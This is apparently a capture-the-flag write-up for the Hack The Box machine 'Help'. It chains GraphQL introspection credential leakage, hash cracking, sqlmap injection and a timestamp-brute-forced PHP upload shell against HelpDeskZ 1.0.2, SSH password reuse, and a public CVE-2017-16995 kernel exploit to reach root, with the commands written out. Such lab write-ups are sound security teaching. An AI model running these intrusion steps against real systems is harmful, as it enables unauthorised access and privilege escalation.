Introduction
Help is an easy Linux box, but it packs in more real-world lessons than most: a GraphQL endpoint that leaks credentials through introspection, a HelpDeskZ 1.0.2 install with two known bugs whose public exploits are both broken (so you fix them yourself), a bit of password reuse, and an old kernel that falls to a public CVE.
The path: port 3000 runs a Node/Express GraphQL API that all but invites you to query it, and doing so leaks an MD5 hash we crack. Those credentials log us into the HelpDeskZ ticketing app on port 80. HelpDeskZ 1.0.2 has both an authenticated SQL injection and an arbitrary file upload; the Exploit-DB PoCs for both fail on modern Python, so the real work is reading them and reproducing them manually. The SQLi dumps an admin password that is reused for SSH as help, and the file upload gives a shell directly. Either way we land as help, and the ancient 4.4.0-116 kernel gives up root to CVE-2017-16995.
Enumeration
echo "<target_ip> help.htb" | sudo tee -a /etc/hostsService Discovery
sudo nmap help.htb -T4 --min-rate 3500 -p 22,80,3000 -sC -sV -oN scans/service-scan.nmapPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).Two web servers: a classic Apache on 80 and a Node/Express JSON API on 3000. Old OpenSSH 7.2 hints at an old Ubuntu, which matters for privesc later.
Port 80 — HelpDeskZ
Fuzzing found /support, a HelpDeskZ help desk. The version is not hidden; it is sitting in a text file.
curl http://help.htb/support/UPGRADING.txt
# Welcome to HelpDeskZ 1.0.2searchsploit helpdeskz
# HelpDeskZ 1.0.2 - Arbitrary File Upload php/webapps/40300.py
# HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / File Download php/webapps/41200.pyBoth exploits need a valid login, so I set HelpDeskZ aside and looked at port 3000 for credentials.
Port 3000 — a talkative GraphQL API
curl -s http://help.htb:3000/
{"message":"Hi Shiv, To get access please find the credentials with given query"}“With given query” plus a JSON Express API is a strong hint at GraphQL. Fuzzing confirmed /graphql.
Foothold — GraphQL introspection to credentials
GraphQL servers often leave introspection enabled, which lets you ask the schema to describe itself. That reveals a User type with username and password fields.
curl -s 'http://help.htb:3000/graphql?query={__schema{types{name,fields{name}}}}'
# ... {"name":"User","fields":[{"name":"username"},{"name":"password"}]} ...Knowing the shape, I just asked for the data:
curl -s 'http://help.htb:3000/graphql?query={user{username,password}}'
{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}That password is an unsalted MD5, cracked instantly.
hashcat -m 0 5d3c93182bb20f07b994a7f617e99cff /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff:godhelpmeplzhelpme@helpme.com:godhelpmeplz logs into HelpDeskZ at http://help.htb/support/.
Exploiting HelpDeskZ 1.0.2
Now the two bugs are in reach. Both public PoCs are broken on a modern Python, so the useful skill here is reading what they do and reproducing it by hand.
SQL injection (dump the admin hash)
The authenticated SQLi (EDB-41200) lives in the ticket attachment download. The workflow: create a ticket with a file attached, then the URL that downloads that attachment takes an injectable param[].
The attachment download URL looks like:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6That last param[] is the injection point. Rather than fight the broken PoC, I saved the authenticated request to ticket.request and pointed sqlmap at it.
sqlmap -r ticket.request -p 'param[]' --batch --dumpsqlmap confirmed boolean- and time-based blind injection and dumped the support database. The prize is the staff table:
Table: staff
| username | password |
| admin | d318f44739dced66793b1a603028133a76ae680e (sha1) |That SHA1 cracks to Welcome1.
Arbitrary file upload (direct shell)
In parallel, the file-upload bug (EDB-40300) abuses the same ticket attachment feature: you can upload a .php file, and HelpDeskZ stores it under a name of md5(original_filename + upload_unix_time). Since the upload time is knowable (the server’s Date header), you brute a small window of timestamps to find the URL of your shell. The public PoC was broken too, so I rewrote it for Python 3.
python3 helpdeskz_upload.py http://help.htb/support/uploads/tickets shell.php
# [+] found (payload executing): http://help.htb/support/uploads/tickets/2274d7f3...phpWith a listener running, requesting that URL returns a shell as help.
nc -lvnp <listener_port>
# uid=1000(help) gid=1000(help) groups=1000(help),4(adm),...Password reuse to SSH
The admin password from the SQLi, Welcome1, is reused for the help system user, so SSH gives a clean, stable shell (nicer than the webshell for the privesc step).
ssh help@help.htb # Welcome1Discovery note: none of the emails dumped from the database were valid SSH users, and
adminwas not a Linux account. The winning move was trying the cracked admin passwordWelcome1against thehelpusername (the box’s namesake). When credentials do not work as-is, try the password against the obvious system usernames.
help owns the user flag.
Privilege Escalation — CVE-2017-16995
The kernel is the giveaway.
help@help:~$ uname -r
4.4.0-116-genericThat is an old Ubuntu 16.04 kernel. A kernel-exploit check flags CVE-2017-16995, an eBPF verifier sign-extension bug that gives arbitrary kernel read/write and, from there, a root shell. It applies here because CONFIG_BPF_SYSCALL=y and unprivileged BPF is not disabled.
# compile the public exploit (EDB-44298) and run it
gcc 44298.c -o kernel
./kernel
task_struct = ffff88001c420000
spawning root shell
root@help:~# whoami
rootMachine rooted.
Attack Chain Recap
nmap -> 80 HelpDeskZ 1.0.2 ; 3000 Node/Express GraphQL
curl :3000 -> "find the credentials" -> fuzz -> /graphql
GraphQL introspection + user query -> helpme@helpme.com : MD5 -> hashcat -> godhelpmeplz
login HelpDeskZ -> reach the two 1.0.2 bugs (both PoCs broken -> manual)
SQLi in ticket param[] (sqlmap) -> dump staff -> admin sha1 -> Welcome1
file upload (rebuilt PoC) -> shell as help
password reuse Welcome1 -> SSH as help (stable) + user flag
kernel 4.4.0-116 -> CVE-2017-16995 -> rootKey takeaways
- GraphQL introspection is free recon. If
__schemais enabled, the API hands you its own field names.Hi Shiv, ... find the credentials with given querywas a nudge to do exactly that. - A broken PoC is not a dead end. Both HelpDeskZ exploits failed to run, but reading them told me precisely what to reproduce: an injectable
param[]for sqlmap, and amd5(name+time)filename to brute. Understanding beats copy-paste. - Try found passwords against obvious usernames.
Welcome1belonged to the webadmin, but it unlocked thehelpsystem user over SSH. Password reuse across web and OS accounts is extremely common. - The kernel version is a privesc lead by itself.
4.4.0-116maps straight to CVE-2017-16995. On old boxes, check the kernel before grinding through local enumeration.